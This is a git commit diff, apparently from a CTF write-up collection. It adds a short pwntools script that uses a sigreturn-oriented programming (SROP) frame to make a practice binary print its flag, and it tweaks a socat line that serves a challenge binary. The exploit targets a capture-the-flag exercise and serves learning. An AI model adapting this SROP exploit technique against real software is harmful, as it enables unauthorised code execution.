update 6.4

This commit is contained in:
firmianay
2017-11-21 17:11:08 +08:00
parent 6689193994
commit c2edb62e77
7 changed files with 231 additions and 17 deletions

View File

@ -0,0 +1,19 @@
from pwn import *
elf = ELF('./funsignals_player_bin')
io = process('./funsignals_player_bin')
# io = remote('hack.bckdr.in', 9034)
context.clear()
context.arch = "amd64"
# Creating a custom frame
frame = SigreturnFrame()
frame.rax = constants.SYS_write
frame.rdi = constants.STDOUT_FILENO
frame.rsi = elf.symbols['flag']
frame.rdx = 50
frame.rip = elf.symbols['syscall']
io.send(str(frame))
io.interactive()

Binary file not shown.

View File

@ -1 +1 @@
socat tcp4-listen:10001,reuseaddr,fork exec:./233
socat tcp4-listen:10001,reuseaddr,fork exec:./233 &